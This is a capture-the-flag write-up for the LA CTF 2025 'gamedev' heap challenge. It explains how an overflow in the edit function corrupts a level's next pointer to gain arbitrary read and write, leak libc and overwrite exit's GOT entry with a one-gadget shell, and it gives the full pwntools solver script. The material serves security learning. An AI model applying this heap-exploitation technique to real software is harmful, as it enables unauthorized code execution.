[PWN] LA CTF 2025 - gamedev heap challenge

   ( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )

(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)


Hey guys,

now we have a challenge from LA CTF 2025 it was an easy but hard -I made a mistake :(-, let's start.

Reverse (code review)

in the reverse process, we can notice the following

  • the binary uses a struct called "Level"
  • there is a heap overflow.
  • no free in the challenge
  • custom list (next-ptr) is used




functions in the binary

  • "init" creates a chunk to store the next addresses and this is the "start" variable
  • "explore" function is used to move from level to level.
  • "create" creates a new chunk with size "0x60"
  • "test" to read from the chunk
  • "edit" modify the chunk "vulnerable to overflow"
  • "reset" is used to reset the "curr" pointer which points to the currently used level. "remember this"






what I got from using the binary

  • to point to a level you have to create a level after it
  • the "create" function adds the pointer of new levels "curr->next[idx] = level;" in the current level's next
  • we have to 
    • leak the libc
    • control the RIP (with one gadget)


Exploit

my mistake was that I used the "reset" function each time I created or used any function and this was wrong because the function set "curr = start" and the start chunk we can not control.

the idea is:

  • create some levels 3 levels [2,3,4]
  • use "explore(3)" to point to level "3" chunk
  • create level [0] and the address of it will stored in level 3's next
  • point to level 2 using "explore(2)"
  • use "edit" to write into the current level which is 2
  • with overflow in the edit function, we can modify the next pointer which is stored in level 3

now with these steps, we can control the next pointer so we can have arbitrary read & write when we add an address to the next variable it is considered as a level so we can read(leak libc) or write(on address) on it.

let's take a look at the memory, the red chunk is "start" and we can not control it, the blue chunk is the level with index "2", and the green chunk is the level "3" which is corrupted from us.


something to add the index is pointing to the place in the space of "next" from 0 to 7.

when we point to the corrupted level with our address it will be stored in the first place of the next list of level 3 so the index will be "0".




and if we contain all of these parts together we will get the shell ;-).


the "solver" script (there is an issue with GitHub I can not upload the challenge files).

#!/usr/bin/env python3
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './chall')
libc = ELF(exe.libc.path)

host = args.HOST or 'chall.lac.tf'
port = int(args.PORT or 31338)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, aslr=False, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

gdbscript = '''
# b malloc
#mallocs
# b *create_level+117
# ??
# b *create_level+248
# b *test_level+149
#fgets
# b *edit_level+149

#curr->next[idx]
# b *explore+99
continue
'''.format(**locals())

def create(idx):
io.sendlineafter(b"Choice: ", b"1")
io.sendlineafter(b"index: ", str(idx).encode())

def edit(cont):
io.sendlineafter(b"Choice: ", b"2")
io.sendlineafter(b"data: ", (cont))

def read(): # test
io.sendlineafter(b"Choice: ", b"3")

def explore(idx): # maybe used to jump to other chunk
io.sendlineafter(b"Choice: ", b"4")
io.sendlineafter(b"index: ", str(idx).encode())

def reset():
io.sendlineafter(b"Choice: ", b"5")

context.terminal = "tmux splitw -h".split()
# context.log_level = "debug"
io = start()

io.recvuntil(b"gift: ")
main_addr = int(io.recvline()[:-1], 16)

print(f"[+] leaked main addr @ {hex(main_addr)}")

# size 0x60
# 0x5555555592a0
# 0x55555555b310
create(2) #
create(3) #
create(4) # 0x5555555593f0

explore(3) # this contain the next ptr

create(0) # 0x555555559460 = Overwrite this one

addr2leak = main_addr + ((0x2960)) # libc leak

print(f"[+] addr to leak @ {hex(addr2leak)}")

raw_input("GDB 0")

# leak the libc
reset()
explore(2)
pay = b"A" * (8*6)
pay += p64( addr2leak ) # address to control (libc)
edit( pay )

reset()
explore(3)
explore(0) # now curr = controlled-address
read()

io.recvuntil(b"data: ")
l = io.recvline()
libc_leak = u64(l[6:12].ljust(8, b"\x00"))
libc.address = libc_leak - 0x77980

print(f"[+] libc leak @ {hex(libc_leak)}")
print(f"[+] libc.address @ {hex(libc.address)}")

raw_input("GDB 1")

# control exit GOT
addr2leak = main_addr + ((0x29de)-0x40) # control flow

reset()
explore(2)
pay = b"B" * (8*6)
pay += p64( addr2leak ) # address to control (libc)
edit( pay )

reset()
explore(3)
explore(0) # now curr = controlled-address
pay = p64(libc.address + 0xd511f)
edit( pay )

io.sendline(b"6")

io.interactive()

the output of one gadget


Thank you for reading, the challenge and solver in my GitHub (will be isA).

Update: all challenges are here.



عن أبي هريرة رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: (قال الله عزوجل: كل عمل بن آدم له إلا الصيام؛ فإنه لي وأنا أجزي به، والصيام جنّة، وإذا كان يوم صوم أحدكم فلا يرفث، ولا يصخب، فإن سابّه أحد أو قاتله فليقل: إني امرؤ صائم، والذي نفس محمد بيده لخلوف فم الصائم أطيب عند الله من ريح المسك، للصائم فرحتان يفرحهما: إذا أفطر فرح، وإذا لقي ربه فرح بصومه) رواه البخاري ومسلم.
.

Comments

Popular posts from this blog

[BlackHatMEA-CTF 2024] cockatoo PWN challenge

[WEB] ASC Wargame CTF 2024 - Challenge Hot Proxy

Lets Analysis STM32F103 Chip Firmware from Attify